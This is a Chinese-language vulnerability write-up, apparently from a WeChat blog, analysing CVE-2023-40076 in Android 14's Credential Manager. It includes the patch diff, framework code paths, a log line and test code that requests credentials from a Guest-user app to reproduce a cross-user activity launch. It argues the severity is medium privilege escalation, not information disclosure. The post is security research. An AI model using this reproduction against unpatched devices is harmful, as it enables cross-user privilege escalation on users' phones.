复现一个有争议的安卓漏洞,是严重还是中危?是权限提升还是信息泄露?


本文继续为大家带来安卓漏洞的分析和复现。这次分析和复现的是 CVE-2023-40076。为什么有争议呢?请大家跟随分析过程往下看。


漏洞信息描述



CVE-2023-40076



风险级别:X



漏洞类型:信息泄露



影响范围:AOSP 14



漏洞描述:In createPendingIntent of CredentialManagerUi.java, there is a possible way to access credentials from other users due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.


这是一个只影响android14的漏洞。在google安全公告页面,漏洞的定级是严重

复现一个有争议的安卓漏洞,是严重还是中危?是权限提升还是信息泄露?

而在nvd官方页面给出的风险级别是

复现一个有争议的安卓漏洞,是严重还是中危?是权限提升还是信息泄露?

这是第一个有争议的地方,漏洞风险级别定级差别很大。

第二个有争议的地方是漏洞的功能。从漏洞描述看,Android 官方给出的是信息泄露,nvd 除了信息泄露外,还有本地权限提升。

接下来从漏洞补丁看,漏洞是如何修复的

diff --git a/services/credentials/java/com/android/server/credentials/CredentialManagerUi.java b/services/credentials/java/com/android/server/credentials/CredentialManagerUi.java
index 272452e..6589503 100644
--- a/services/credentials/java/com/android/server/credentials/CredentialManagerUi.java
+++ b/services/credentials/java/com/android/server/credentials/CredentialManagerUi.java
@@ -32,6 +32,7 @@
 import android.os.IBinder;
 import android.os.Looper;
 import android.os.ResultReceiver;
+import android.os.UserHandle;
 import android.service.credentials.CredentialProviderInfoFactory;
 import android.util.Slog;
 
@@ -171,7 +172,9 @@
                 .setAction(UUID.randomUUID().toString());
         //TODO: Create unique pending intent using request code and cancel any pre-existing pending
         // intents
- return PendingIntent.getActivity(
- mContext, /*requestCode=*/0, intent, PendingIntent.FLAG_IMMUTABLE);
+ return PendingIntent.getActivityAsUser(
+ mContext, /*requestCode=*/0, intent,
+ PendingIntent.FLAG_IMMUTABLE, /*options=*/null,
+ UserHandle.of(mUserId));
     }
 }

可以看到,漏洞修复方法很简单,调用PendingIntent.getActivity时指定userId。从补丁看,只能看出可能的权限提升。权限提升的一个可能原因是跨用户的,比如 guest用户可以创建 owner 用户的pendingintent;另一个可能原因是普通 app 权限获得系统 app 的 pendingintent,从而代替系统 app 打开 activity。


相关概念



在安卓系统中有两套用户id的概念,即UserId和uid。那这两个id有什么区别呢?

UserId:是android系统中用户的概念。系统初始用户是USER_SYSTEM(0).如果存在多用户,则有多个userId。可以通过`pm list users`查看系统中存在的用户及其id
➜ ~ adb shell pm list users
Users:
  UserInfo{0:Owner:c13} running
  UserInfo{10:Guest:404}

uid:即linux系统中的uid,比如每个应用都有各自的uid。
PendingIntent:在Android开发中,PendingIntent 是一种特殊类型的Intent,它允许你延迟执行Intent直到某个事件发生,比如当用户点击了通知或者小部件(widget)上的按钮。PendingIntent 通常用于需要从应用外部环境(如通知管理器、闹钟服务、小部件等)触发的操作。
PendingIntent 的主要作用是授权外部应用(如系统的通知管理器)在未来的某个时刻以你的应用的身份执行一个预定义的Intent。这样,即使你的应用没有运行,系统或其他应用也可以在适当的时候执行这个Intent。

漏洞复现



首先根据补丁代码位置,根据交叉引用分析app可调用的api入口。


public PendingIntent createPendingIntent(
            RequestInfo requestInfo, ArrayList<ProviderData> providerDataList) {
        List<CredentialProviderInfo> allProviders =
                CredentialProviderInfoFactory.getCredentialProviderServices(
                        mContext,
                        mUserId,
                        CredentialManager.PROVIDER_FILTER_USER_PROVIDERS_ONLY,
                        mEnabledProviders,
                        // Don't need primary providers here.
                        new HashSet<ComponentName>());

        List<DisabledProviderData> disabledProviderDataList = allProviders.stream()
                .filter(provider -> !provider.isEnabled())
                .map(disabledProvider -> new DisabledProviderData(
                        disabledProvider.getComponentName().flattenToString())).toList();

        Intent intent = IntentFactory.createCredentialSelectorIntent(requestInfo, providerDataList,
                        new ArrayList<>(disabledProviderDataList), mResultReceiver)
                .setAction(UUID.randomUUID().toString());
        //TODO: Create unique pending intent using request code and cancel any pre-existing pending
        // intents
        return PendingIntent.getActivityAsUser(
                mContext, /*requestCode=*/0, intent,
                PendingIntent.FLAG_IMMUTABLE, /*options=*/null,
                UserHandle.of(mUserId)); //补丁位置
    }

在这段代码中,有两个点需要重点关注,一个是providerDataList参数,一个是

Intent intent = IntentFactory.createCredentialSelectorIntent(requestInfo, providerDataList, new ArrayList<>(disabledProviderDataList), mResultReceiver)
.setAction(UUID.randomUUID().toString());
public class IntentFactory {
    /** Generate a new launch intent to the Credential Selector UI. */
    @NonNull
    public static Intent createCredentialSelectorIntent(
            @NonNull RequestInfo requestInfo,
            @SuppressLint("ConcreteCollection") // Concrete collection needed for marshalling.
                    @NonNull
                    ArrayList<ProviderData> enabledProviderDataList,
            @SuppressLint("ConcreteCollection") // Concrete collection needed for marshalling.
                    @NonNull
                    ArrayList<DisabledProviderData> disabledProviderDataList,
            @NonNull ResultReceiver resultReceiver) {
        Intent intent = new Intent();
        ComponentName componentName =
                ComponentName.unflattenFromString(
                        Resources.getSystem()
                                .getString(
                                        com.android.internal.R.string
                                                .config_credentialManagerDialogComponent));
        intent.setComponent(componentName);

        intent.putParcelableArrayListExtra(
                ProviderData.EXTRA_ENABLED_PROVIDER_DATA_LIST, enabledProviderDataList);
        intent.putParcelableArrayListExtra(
                ProviderData.EXTRA_DISABLED_PROVIDER_DATA_LIST, disabledProviderDataList);
        intent.putExtra(RequestInfo.EXTRA_REQUEST_INFO, requestInfo);
        intent.putExtra(
                Constants.EXTRA_RESULT_RECEIVER, toIpcFriendlyResultReceiver(resultReceiver));

        return intent;
    }
<!-- Name of the dialog that is used to get or save an app credential -->
    <string name="config_credentialManagerDialogComponent" translatable="false"
            >
com.android.credentialmanager/com.android.credentialmanager.CredentialSelectorActivity</string>

从下面日志信息可以看到,uid 1010190(Guest用户app)在Owner用户(START u0)空间中打开Activity

ActivityTaskManager system_server I START u0 {act=eb61b74d-2ea4-4919-9d40-54740f06d419 cmp=com.android.credentialmanager/.CredentialSelectorActivity (has extras)} with LAUNCH_SINGLE_TOP from uid 1000 (realCallingUid=1010190) (BAL_ALLOW_ALLOWLISTED_UID) result code=0

接下来继续看providerDataList来自于哪里

protected void launchUiWithProviderData(ArrayList<ProviderData> providerDataList) {
        mRequestSessionMetric.collectUiCallStartTime(System.nanoTime());
        mCredentialManagerUi.setStatus(CredentialManagerUi.UiStatus.USER_INTERACTION);
        Binder.withCleanCallingIdentity(()-> {
        try {
                cancelExistingPendingIntent();
            mPendingIntent = mCredentialManagerUi.createPendingIntent(
                    RequestInfo.newGetRequestInfo(
                            mRequestId, mClientRequest, mClientAppInfo.getPackageName(),
                            PermissionUtils.hasPermission(mContext, mClientAppInfo.getPackageName(),
                                    Manifest.permission.CREDENTIAL_MANAGER_SET_ALLOWED_PROVIDERS)),
                    providerDataList);
            mClientCallback.onPendingIntent(mPendingIntent);
        } catch (RemoteException e) {
            mRequestSessionMetric.collectUiReturnedFinalPhase(/*uiReturned=*/ false);
            mCredentialManagerUi.setStatus(CredentialManagerUi.UiStatus.TERMINATED);
            String exception = GetCredentialException.TYPE_UNKNOWN;
            mRequestSessionMetric.collectFrameworkException(exception);
                respondToClientWithErrorAndFinish(exception, "Unable to instantiate selector");
            }
        });
    }
void getProviderDataAndInitiateUi() {
        ArrayList<ProviderData> providerDataList = getProviderDataForUi();
        if (!providerDataList.isEmpty()) {
            launchUiWithProviderData(providerDataList);
        }
    }

    @NonNull
    protected ArrayList<ProviderData> getProviderDataForUi()
{
        Slog.i(TAG, "For ui, provider data size: " + mProviders.size());
        ArrayList<ProviderData> providerDataList = new ArrayList<>();
        mRequestSessionMetric.logCandidatePhaseMetrics(mProviders);

        if (isSessionCancelled()) {
            finishSession(/*propagateCancellation=*/true);
            return providerDataList;
        }

        for (ProviderSession session : mProviders.values()) {
            ProviderData providerData = session.prepareUiData();
            if (providerData != null) {
                providerDataList.add(providerData);
            }
        }
        return providerDataList;
    }
接着看session.prepareUiData()这个函数session有四种类型

复现一个有争议的安卓漏洞,是严重还是中危?是权限提升还是信息泄露?

对于获取账号的场景,对应ProviderGetSession。session创建的构造函数:
public static ProviderGetSession createNewSession(
            Context context,
            @UserIdInt int userId,
            CredentialProviderInfo providerInfo,
            GetRequestSession getRequestSession,
            RemoteCredentialService remoteCredentialService
)
{
        android.credentials.GetCredentialRequest filteredRequest =
                filterOptions(providerInfo.getCapabilities(),
                        getRequestSession.mClientRequest,
                        providerInfo);
        if (filteredRequest != null) {
            Map<String, CredentialOption> beginGetOptionToCredentialOptionMap =
                    new HashMap<>();
            return new ProviderGetSession(
                    context,
                    providerInfo,
                    getRequestSession,
                    userId,
                    remoteCredentialService,
                    constructQueryPhaseRequest(
                            filteredRequest, getRequestSession.mClientAppInfo,
                            getRequestSession.mClientRequest.alwaysSendAppInfoToProvider(),
                            beginGetOptionToCredentialOptionMap),
                    filteredRequest,
                    getRequestSession.mClientAppInfo,
                    beginGetOptionToCredentialOptionMap,
                    getRequestSession.mHybridService
            );
        }
        Slog.i(TAG, "Unable to create provider session for: "
                + providerInfo.getComponentName());
        return null;
    }


输入参数中有一个关键的参数userId,这个参数来自于调用方的UserId。

final class CredentialManagerServiceStub extends ICredentialManager.Stub {
        @Override
        public ICancellationSignal executeGetCredential(
                GetCredentialRequest request,
                IGetCredentialCallback callback,
                final String callingPackage)
 
{
            final long timestampBegan = System.nanoTime();
            Slog.i(TAG, "starting executeGetCredential with callingPackage: "
                    + callingPackage);
            ICancellationSignal cancelTransport = CancellationSignal.createTransport();

            final int userId = UserHandle.getCallingUserId();
            final int callingUid = Binder.getCallingUid();
            enforceCallingPackage(callingPackage, callingUid);

            validateGetCredentialRequest(request);

            // New request session, scoped for this request only.
            final GetRequestSession session =
                    new GetRequestSession(
                            getContext(),
                            mSessionManager,
                            mLock,
                            userId,
                            callingUid,
                            callback,
                            request,
                            constructCallingAppInfo(callingPackage, userId, request.getOrigin()),
                            getEnabledProvidersForUser(userId),
                            CancellationSignal.fromTransport(cancelTransport),
                            timestampBegan);
            addSessionLocked(userId, session);



在此可以推断,当在其他用户,比如Guest用户执行GetCredential时,
创建的session属于Guest用户,并且获取到的是和Guest绑定的账号信
息。

复现一个有争议的安卓漏洞,是严重还是中危?是权限提升还是信息泄露?

系统中有两个com.google.android.gms进程,分别属于Owner用户和Guest用户。经过调试,在Guest用户下访问的Service隶属于Guest用户,而非Owner用户。因此获取到的账户信息属于和Guest绑定的账号信息。只是获取到的账号信息通过Intent的方式传递给了Owner用户下的Activity。


ActivityTaskManager system_server I START u0 {act=eb61b74d-2ea4-4919-9d40-54740f06d419 cmp=com.android.credentialmanager/.CredentialSelectorActivity (has extras)} with LAUNCH_SINGLE_TOP from uid 1000 (realCallingUid=1010190) (BAL_ALLOW_ALLOWLISTED_UID) result code=0


结论



结论一:在其他用户运行的app可以在Owner用户空间内打开Activity,实现权限提升.

结论二:Guest用户运行的app获取到账号信息,获取的是Guest用户,而非Owner用户;获取到的信息传递给Owner用户,需要交互确认,但目前还没找到可以提取账号信息的方法。


因此,属于一个中风险漏洞,且只是一个本地权限漏洞,而非信息泄露漏洞。

当然也存在有未考虑到的地方,欢迎大家私信讨论。



测试代码





private static void getPasswordRequest(Context context) {
        CredentialManager credentialManager = CredentialManager.create(context);

        GetPasswordOption getPasswordOption = new GetPasswordOption();

        GetCredentialRequest getCredentialRequest = new androidx.credentials.GetCredentialRequest.Builder()
                .addCredentialOption(getPasswordOption)
                .setPreferImmediatelyAvailableCredentials(true)
                .build();

        credentialManager.getCredentialAsync(context, getCredentialRequest, new CancellationSignal(), new Executor() {
            @Override
            public void execute(Runnable command) {

                command.run();
            }
        }, new CredentialManagerCallback<GetCredentialResponse, GetCredentialException>() {
            @Override
            public void onResult(GetCredentialResponse getCredentialResponse) {
                Log.d("getPasswordRequest", getCredentialResponse.getCredential().getData().toString());
            }

            @Override
            public void onError(@NonNull GetCredentialException e) {

            }
        });


原文始发于微信公众号(大山子雪人):复现一个有争议的安卓漏洞,是严重还是中危?是权限提升还是信息泄露?

相关文章